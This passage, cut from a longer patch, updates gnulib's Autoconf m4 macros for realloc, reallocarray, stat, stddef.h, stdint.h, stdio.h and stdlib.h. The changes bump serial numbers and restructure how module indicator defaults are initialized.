AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_FUNC_REALLOC_POSIX]) ++ if test $REPLACE_REALLOC = 0; then ++ _AC_FUNC_REALLOC_IF([], [REPLACE_REALLOC=1]) ++ fi ++])# gl_FUNC_REALLOC_GNU ++ ++# gl_FUNC_REALLOC_POSIX ++# --------------------- ++# Test whether 'realloc' is POSIX compliant (sets errno to ENOMEM when it ++# fails, and doesn't mess up with ptrdiff_t overflow), ++# and replace realloc if it is not. ++AC_DEFUN([gl_FUNC_REALLOC_POSIX], ++[ ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX]) ++ if test $REPLACE_MALLOC = 1; then ++ REPLACE_REALLOC=1 ++ fi ++]) +--- /dev/null ++++ b/gnulib/m4/reallocarray.m4 +@@ -0,0 +1,23 @@ ++# reallocarray.m4 serial 3 ++dnl Copyright (C) 2017-2021 Free Software Foundation, Inc. ++dnl This file is free software; the Free Software Foundation ++dnl gives unlimited permission to copy and/or distribute it, ++dnl with or without modifications, as long as this notice is preserved. ++ ++AC_DEFUN([gl_FUNC_REALLOCARRAY], ++[ ++ dnl Persuade glibc <stdlib.h> to declare reallocarray. ++ AC_REQUIRE([gl_USE_SYSTEM_EXTENSIONS]) ++ ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ AC_REQUIRE([gl_CHECK_MALLOC_PTRDIFF]) ++ AC_CHECK_FUNCS([reallocarray]) ++ if test "$ac_cv_func_reallocarray" = no; then ++ HAVE_REALLOCARRAY=0 ++ elif test "$gl_cv_malloc_ptrdiff" = no; then ++ REPLACE_REALLOCARRAY=1 ++ fi ++]) ++ ++# Prerequisites of lib/reallocarray.c. ++AC_DEFUN([gl_PREREQ_REALLOCARRAY], [:]) +--- a/gnulib/m4/stat.m4 ++++ b/gnulib/m4/stat.m4 +@@ -1,4 +1,4 @@ +-# serial 17 ++# serial 18 + + # Copyright (C) 2009-2021 Free Software Foundation, Inc. + # +@@ -69,7 +69,7 @@ AC_DEFUN([gl_FUNC_STAT], + + # Prerequisites of lib/stat.c and lib/stat-w32.c. + AC_DEFUN([gl_PREREQ_STAT], [ +- AC_REQUIRE([gl_HEADER_SYS_STAT_H]) ++ AC_REQUIRE([gl_SYS_STAT_H]) + AC_REQUIRE([gl_PREREQ_STAT_W32]) + : + ]) +--- a/gnulib/m4/stddef_h.m4 ++++ b/gnulib/m4/stddef_h.m4 +@@ -1,4 +1,4 @@ +-# stddef_h.m4 serial 9 ++# stddef_h.m4 serial 11 + dnl Copyright (C) 2009-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -6,7 +6,7 @@ dnl with or without modifications, as lo + + dnl A placeholder for <stddef.h>, for platforms that have issues. + +-AC_DEFUN([gl_STDDEF_H], ++AC_DEFUN_ONCE([gl_STDDEF_H], + [ + AC_REQUIRE([gl_STDDEF_H_DEFAULTS]) + AC_REQUIRE([gt_TYPE_WCHAR_T]) +@@ -68,13 +68,28 @@ AC_DEFUN([gl_STDDEF_H], + fi + ]) + ++# gl_STDDEF_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_STDDEF_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_STDDEF_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_STDDEF_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_STDDEF_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDDEF_H_MODULE_INDICATOR_DEFAULTS], [ ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDDEF_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_STDDEF_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_STDDEF_H_DEFAULTS], + [ + dnl Assume proper GNU behavior unless another module says otherwise. +--- a/gnulib/m4/stdint.m4 ++++ b/gnulib/m4/stdint.m4 +@@ -1,4 +1,4 @@ +-# stdint.m4 serial 58 ++# stdint.m4 serial 60 + dnl Copyright (C) 2001-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, +@@ -170,7 +170,7 @@ struct s { + PTRDIFF_MIN == TYPE_MINIMUM (ptrdiff_t) + && PTRDIFF_MAX == TYPE_MAXIMUM (ptrdiff_t) + ? 1 : -1; +- /* Detect bug in FreeBSD 6.0 / ia64. */ ++ /* Detect bug in FreeBSD 6.0/ia64 and FreeBSD 13.0/arm64. */ + int check_SIG_ATOMIC: + SIG_ATOMIC_MIN == TYPE_MINIMUM (sig_atomic_t) + && SIG_ATOMIC_MAX == TYPE_MAXIMUM (sig_atomic_t) +@@ -527,7 +527,7 @@ AC_DEFUN([gl_STDINT_TYPE_PROPERTIES], + dnl requirement that wint_t is "unchanged by default argument promotions". + dnl In this case gnulib's <wchar.h> and <wctype.h> override wint_t. + dnl Set the variable BITSIZEOF_WINT_T accordingly. +- if test $GNULIB_OVERRIDES_WINT_T = 1; then ++ if test $GNULIBHEADERS_OVERRIDE_WINT_T = 1; then + BITSIZEOF_WINT_T=32 + fi + ]) +--- a/gnulib/m4/stdio_h.m4 ++++ b/gnulib/m4/stdio_h.m4 +@@ -1,11 +1,12 @@ +-# stdio_h.m4 serial 52 ++# stdio_h.m4 serial 56 + dnl Copyright (C) 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, + dnl with or without modifications, as long as this notice is preserved. + +-AC_DEFUN([gl_STDIO_H], ++AC_DEFUN_ONCE([gl_STDIO_H], + [ ++ AC_REQUIRE([gl_STDIO_H_DEFAULTS]) + AH_VERBATIM([MINGW_ANSI_STDIO], + [/* Use GNU style printf and scanf. */ + #ifndef __USE_MINGW_ANSI_STDIO +@@ -13,7 +14,6 @@ AC_DEFUN([gl_STDIO_H], + #endif + ]) + AC_DEFINE([__USE_MINGW_ANSI_STDIO]) +- AC_REQUIRE([gl_STDIO_H_DEFAULTS]) + gl_NEXT_HEADERS([stdio.h]) + + dnl Determine whether __USE_MINGW_ANSI_STDIO makes printf and +@@ -40,17 +40,6 @@ AC_DEFUN([gl_STDIO_H], + attribute "__gnu_printf__" instead of "__printf__"]) + fi + +- dnl No need to create extra modules for these functions. Everyone who uses +- dnl <stdio.h> likely needs them. +- GNULIB_FSCANF=1 +- gl_MODULE_INDICATOR([fscanf]) +- GNULIB_SCANF=1 +- gl_MODULE_INDICATOR([scanf]) +- GNULIB_FGETC=1 +- GNULIB_GETC=1 +- GNULIB_GETCHAR=1 +- GNULIB_FGETS=1 +- GNULIB_FREAD=1 + dnl This ifdef is necessary to avoid an error "missing file lib/stdio-read.c" + dnl "expected source file, required through AC_LIBSOURCES, not found". It is + dnl also an optimization, to avoid performing a configure check whose result +@@ -64,18 +53,6 @@ AC_DEFUN([gl_STDIO_H], + fi + ]) + +- dnl No need to create extra modules for these functions. Everyone who uses +- dnl <stdio.h> likely needs them. +- GNULIB_FPRINTF=1 +- GNULIB_PRINTF=1 +- GNULIB_VFPRINTF=1 +- GNULIB_VPRINTF=1 +- GNULIB_FPUTC=1 +- GNULIB_PUTC=1 +- GNULIB_PUTCHAR=1 +- GNULIB_FPUTS=1 +- GNULIB_PUTS=1 +- GNULIB_FWRITE=1 + dnl This ifdef is necessary to avoid an error "missing file lib/stdio-write.c" + dnl "expected source file, required through AC_LIBSOURCES, not found". It is + dnl also an optimization, to avoid performing a configure check whose result +@@ -116,77 +93,92 @@ AC_DEFUN([gl_STDIO_H], + fi + ]) + ++# gl_STDIO_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_STDIO_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_STDIO_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_STDIO_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_STDIO_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDIO_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_DPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCLOSE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FDOPEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFLUSH]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FGETC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FGETS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FOPEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPRINTF_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPURGE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPUTC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FPUTS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREAD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREOPEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSCANF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSEEK]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FSEEKO]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTELL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FTELLO]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FWRITE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETCHAR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETDELIM]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLINE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OBSTACK_PRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OBSTACK_PRINTF_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PCLOSE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PERROR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POPEN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PRINTF_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTCHAR]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REMOVE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RENAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RENAMEAT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SCANF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SNPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SPRINTF_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STDIO_H_NONBLOCKING]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STDIO_H_SIGPIPE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_TMPFILE]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VASPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFSCANF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSCANF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VDPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VFPRINTF_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VPRINTF_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSNPRINTF]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_VSPRINTF_POSIX]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FCLOSEALL], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FDOPEN], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FILENO], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GETW], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_PUTW], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_TEMPNAM], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDIO_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_STDIO_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_STDIO_H_DEFAULTS], + [ +- GNULIB_DPRINTF=0; AC_SUBST([GNULIB_DPRINTF]) +- GNULIB_FCLOSE=0; AC_SUBST([GNULIB_FCLOSE]) +- GNULIB_FDOPEN=0; AC_SUBST([GNULIB_FDOPEN]) +- GNULIB_FFLUSH=0; AC_SUBST([GNULIB_FFLUSH]) +- GNULIB_FGETC=0; AC_SUBST([GNULIB_FGETC]) +- GNULIB_FGETS=0; AC_SUBST([GNULIB_FGETS]) +- GNULIB_FOPEN=0; AC_SUBST([GNULIB_FOPEN]) +- GNULIB_FPRINTF=0; AC_SUBST([GNULIB_FPRINTF]) +- GNULIB_FPRINTF_POSIX=0; AC_SUBST([GNULIB_FPRINTF_POSIX]) +- GNULIB_FPURGE=0; AC_SUBST([GNULIB_FPURGE]) +- GNULIB_FPUTC=0; AC_SUBST([GNULIB_FPUTC]) +- GNULIB_FPUTS=0; AC_SUBST([GNULIB_FPUTS]) +- GNULIB_FREAD=0; AC_SUBST([GNULIB_FREAD]) +- GNULIB_FREOPEN=0; AC_SUBST([GNULIB_FREOPEN]) +- GNULIB_FSCANF=0; AC_SUBST([GNULIB_FSCANF]) +- GNULIB_FSEEK=0; AC_SUBST([GNULIB_FSEEK]) +- GNULIB_FSEEKO=0; AC_SUBST([GNULIB_FSEEKO]) +- GNULIB_FTELL=0; AC_SUBST([GNULIB_FTELL]) +- GNULIB_FTELLO=0; AC_SUBST([GNULIB_FTELLO]) +- GNULIB_FWRITE=0; AC_SUBST([GNULIB_FWRITE]) +- GNULIB_GETC=0; AC_SUBST([GNULIB_GETC]) +- GNULIB_GETCHAR=0; AC_SUBST([GNULIB_GETCHAR]) +- GNULIB_GETDELIM=0; AC_SUBST([GNULIB_GETDELIM]) +- GNULIB_GETLINE=0; AC_SUBST([GNULIB_GETLINE]) +- GNULIB_OBSTACK_PRINTF=0; AC_SUBST([GNULIB_OBSTACK_PRINTF]) +- GNULIB_OBSTACK_PRINTF_POSIX=0; AC_SUBST([GNULIB_OBSTACK_PRINTF_POSIX]) +- GNULIB_PCLOSE=0; AC_SUBST([GNULIB_PCLOSE]) +- GNULIB_PERROR=0; AC_SUBST([GNULIB_PERROR]) +- GNULIB_POPEN=0; AC_SUBST([GNULIB_POPEN]) +- GNULIB_PRINTF=0; AC_SUBST([GNULIB_PRINTF]) +- GNULIB_PRINTF_POSIX=0; AC_SUBST([GNULIB_PRINTF_POSIX]) +- GNULIB_PUTC=0; AC_SUBST([GNULIB_PUTC]) +- GNULIB_PUTCHAR=0; AC_SUBST([GNULIB_PUTCHAR]) +- GNULIB_PUTS=0; AC_SUBST([GNULIB_PUTS]) +- GNULIB_REMOVE=0; AC_SUBST([GNULIB_REMOVE]) +- GNULIB_RENAME=0; AC_SUBST([GNULIB_RENAME]) +- GNULIB_RENAMEAT=0; AC_SUBST([GNULIB_RENAMEAT]) +- GNULIB_SCANF=0; AC_SUBST([GNULIB_SCANF]) +- GNULIB_SNPRINTF=0; AC_SUBST([GNULIB_SNPRINTF]) +- GNULIB_SPRINTF_POSIX=0; AC_SUBST([GNULIB_SPRINTF_POSIX]) +- GNULIB_STDIO_H_NONBLOCKING=0; AC_SUBST([GNULIB_STDIO_H_NONBLOCKING]) +- GNULIB_STDIO_H_SIGPIPE=0; AC_SUBST([GNULIB_STDIO_H_SIGPIPE]) +- GNULIB_TMPFILE=0; AC_SUBST([GNULIB_TMPFILE]) +- GNULIB_VASPRINTF=0; AC_SUBST([GNULIB_VASPRINTF]) +- GNULIB_VFSCANF=0; AC_SUBST([GNULIB_VFSCANF]) +- GNULIB_VSCANF=0; AC_SUBST([GNULIB_VSCANF]) +- GNULIB_VDPRINTF=0; AC_SUBST([GNULIB_VDPRINTF]) +- GNULIB_VFPRINTF=0; AC_SUBST([GNULIB_VFPRINTF]) +- GNULIB_VFPRINTF_POSIX=0; AC_SUBST([GNULIB_VFPRINTF_POSIX]) +- GNULIB_VPRINTF=0; AC_SUBST([GNULIB_VPRINTF]) +- GNULIB_VPRINTF_POSIX=0; AC_SUBST([GNULIB_VPRINTF_POSIX]) +- GNULIB_VSNPRINTF=0; AC_SUBST([GNULIB_VSNPRINTF]) +- GNULIB_VSPRINTF_POSIX=0; AC_SUBST([GNULIB_VSPRINTF_POSIX]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_FCLOSEALL=1; AC_SUBST([GNULIB_MDA_FCLOSEALL]) +- GNULIB_MDA_FDOPEN=1; AC_SUBST([GNULIB_MDA_FDOPEN]) +- GNULIB_MDA_FILENO=1; AC_SUBST([GNULIB_MDA_FILENO]) +- GNULIB_MDA_GETW=1; AC_SUBST([GNULIB_MDA_GETW]) +- GNULIB_MDA_PUTW=1; AC_SUBST([GNULIB_MDA_PUTW]) +- GNULIB_MDA_TEMPNAM=1; AC_SUBST([GNULIB_MDA_TEMPNAM]) + dnl Assume proper GNU behavior unless another module says otherwise. + HAVE_DECL_FCLOSEALL=1; AC_SUBST([HAVE_DECL_FCLOSEALL]) + HAVE_DECL_FPURGE=1; AC_SUBST([HAVE_DECL_FPURGE]) +--- a/gnulib/m4/stdlib_h.m4 ++++ b/gnulib/m4/stdlib_h.m4 +@@ -1,10 +1,10 @@ +-# stdlib_h.m4 serial 55 ++# stdlib_h.m4 serial 63 + dnl Copyright (C) 2007-2021 Free Software Foundation, Inc. + dnl This file is free software; the Free Software Foundation + dnl gives unlimited permission to copy and/or distribute it, + dnl with or without modifications, as long as this notice is preserved. + +-AC_DEFUN([gl_STDLIB_H], ++AC_DEFUN_ONCE([gl_STDLIB_H], + [ + AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) + gl_NEXT_HEADERS([stdlib.h]) +@@ -28,7 +28,7 @@ AC_DEFUN([gl_STDLIB_H], + posix_memalign posix_openpt ptsname ptsname_r qsort_r + random random_r reallocarray realpath rpmatch secure_getenv setenv + setstate setstate_r srandom srandom_r +- strtod strtold strtoll strtoull unlockpt unsetenv]) ++ strtod strtol strtold strtoll strtoul strtoull unlockpt unsetenv]) + + AC_REQUIRE([AC_C_RESTRICT]) + +@@ -46,61 +46,78 @@ AC_DEFUN([gl_STDLIB_H], + fi + ]) + ++# gl_STDLIB_MODULE_INDICATOR([modulename]) ++# sets the shell variable that indicates the presence of the given module ++# to a C preprocessor expression that will evaluate to 1. ++# This macro invocation must not occur in macros that are AC_REQUIREd. + AC_DEFUN([gl_STDLIB_MODULE_INDICATOR], + [ +- dnl Use AC_REQUIRE here, so that the default settings are expanded once only. +- AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++ dnl Ensure to expand the default settings once only. ++ gl_STDLIB_H_REQUIRE_DEFAULTS + gl_MODULE_INDICATOR_SET_VARIABLE([$1]) + dnl Define it also as a C macro, for the benefit of the unit tests. + gl_MODULE_INDICATOR_FOR_TESTS([$1]) + ]) + ++# Initializes the default values for AC_SUBSTed shell variables. ++# This macro must not be AC_REQUIREd. It must only be invoked, and only ++# outside of macros or in macros that are not AC_REQUIREd. ++AC_DEFUN([gl_STDLIB_H_REQUIRE_DEFAULTS], ++[ ++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDLIB_H_MODULE_INDICATOR_DEFAULTS], [ ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB__EXIT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ALIGNED_ALLOC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ATOLL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CALLOC_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CANONICALIZE_FILE_NAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREE_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOADAVG]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSUBOPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GRANTPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MALLOC_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBTOWC]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDTEMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKOSTEMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKOSTEMPS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKSTEMP]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKSTEMPS]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POSIX_MEMALIGN]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POSIX_OPENPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PTSNAME]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PTSNAME_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTENV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_QSORT_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RANDOM]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RANDOM_R]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALLOCARRAY]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALLOC_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALPATH]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RPMATCH]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SECURE_GETENV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETENV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOLD]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOLL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOUL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOULL]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYSTEM_POSIX]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLOCKPT]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNSETENV]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTOMB]) ++ dnl Support Microsoft deprecated alias function names by default. ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ECVT], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FCVT], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GCVT], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MKTEMP], [1]) ++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_PUTENV], [1]) ++ ]) ++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDLIB_H_MODULE_INDICATOR_DEFAULTS]) ++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS]) ++]) ++ + AC_DEFUN([gl_STDLIB_H_DEFAULTS], + [ +- GNULIB__EXIT=0; AC_SUBST([GNULIB__EXIT]) +- GNULIB_ALIGNED_ALLOC=0; AC_SUBST([GNULIB_ALIGNED_ALLOC]) +- GNULIB_ATOLL=0; AC_SUBST([GNULIB_ATOLL]) +- GNULIB_CALLOC_POSIX=0; AC_SUBST([GNULIB_CALLOC_POSIX]) +- GNULIB_CANONICALIZE_FILE_NAME=0; AC_SUBST([GNULIB_CANONICALIZE_FILE_NAME]) +- GNULIB_FREE_POSIX=0; AC_SUBST([GNULIB_FREE_POSIX]) +- GNULIB_GETLOADAVG=0; AC_SUBST([GNULIB_GETLOADAVG]) +- GNULIB_GETSUBOPT=0; AC_SUBST([GNULIB_GETSUBOPT]) +- GNULIB_GRANTPT=0; AC_SUBST([GNULIB_GRANTPT]) +- GNULIB_MALLOC_POSIX=0; AC_SUBST([GNULIB_MALLOC_POSIX]) +- GNULIB_MBTOWC=0; AC_SUBST([GNULIB_MBTOWC]) +- GNULIB_MKDTEMP=0; AC_SUBST([GNULIB_MKDTEMP]) +- GNULIB_MKOSTEMP=0; AC_SUBST([GNULIB_MKOSTEMP]) +- GNULIB_MKOSTEMPS=0; AC_SUBST([GNULIB_MKOSTEMPS]) +- GNULIB_MKSTEMP=0; AC_SUBST([GNULIB_MKSTEMP]) +- GNULIB_MKSTEMPS=0; AC_SUBST([GNULIB_MKSTEMPS]) +- GNULIB_POSIX_MEMALIGN=0;AC_SUBST([GNULIB_POSIX_MEMALIGN]) +- GNULIB_POSIX_OPENPT=0; AC_SUBST([GNULIB_POSIX_OPENPT]) +- GNULIB_PTSNAME=0; AC_SUBST([GNULIB_PTSNAME]) +- GNULIB_PTSNAME_R=0; AC_SUBST([GNULIB_PTSNAME_R]) +- GNULIB_PUTENV=0; AC_SUBST([GNULIB_PUTENV]) +- GNULIB_QSORT_R=0; AC_SUBST([GNULIB_QSORT_R]) +- GNULIB_RANDOM=0; AC_SUBST([GNULIB_RANDOM]) +- GNULIB_RANDOM_R=0; AC_SUBST([GNULIB_RANDOM_R]) +- GNULIB_REALLOCARRAY=0; AC_SUBST([GNULIB_REALLOCARRAY]) +- GNULIB_REALLOC_POSIX=0; AC_SUBST([GNULIB_REALLOC_POSIX]) +- GNULIB_REALPATH=0; AC_SUBST([GNULIB_REALPATH]) +- GNULIB_RPMATCH=0; AC_SUBST([GNULIB_RPMATCH]) +- GNULIB_SECURE_GETENV=0; AC_SUBST([GNULIB_SECURE_GETENV]) +- GNULIB_SETENV=0; AC_SUBST([GNULIB_SETENV]) +- GNULIB_STRTOD=0; AC_SUBST([GNULIB_STRTOD]) +- GNULIB_STRTOLD=0; AC_SUBST([GNULIB_STRTOLD]) +- GNULIB_STRTOLL=0; AC_SUBST([GNULIB_STRTOLL]) +- GNULIB_STRTOULL=0; AC_SUBST([GNULIB_STRTOULL]) +- GNULIB_SYSTEM_POSIX=0; AC_SUBST([GNULIB_SYSTEM_POSIX]) +- GNULIB_UNLOCKPT=0; AC_SUBST([GNULIB_UNLOCKPT]) +- GNULIB_UNSETENV=0; AC_SUBST([GNULIB_UNSETENV]) +- GNULIB_WCTOMB=0; AC_SUBST([GNULIB_WCTOMB]) +- dnl Support Microsoft deprecated alias function names by default. +- GNULIB_MDA_ECVT=1; AC_SUBST([GNULIB_MDA_ECVT]) +- GNULIB_MDA_FCVT=1; AC_SUBST([GNULIB_MDA_FCVT]) +- GNULIB_MDA_GCVT=1; AC_SUBST([GNULIB_MDA_GCVT]) +- GNULIB_MDA_MKTEMP=1; AC_SUBST([GNULIB_MDA_MKTEMP]) +- 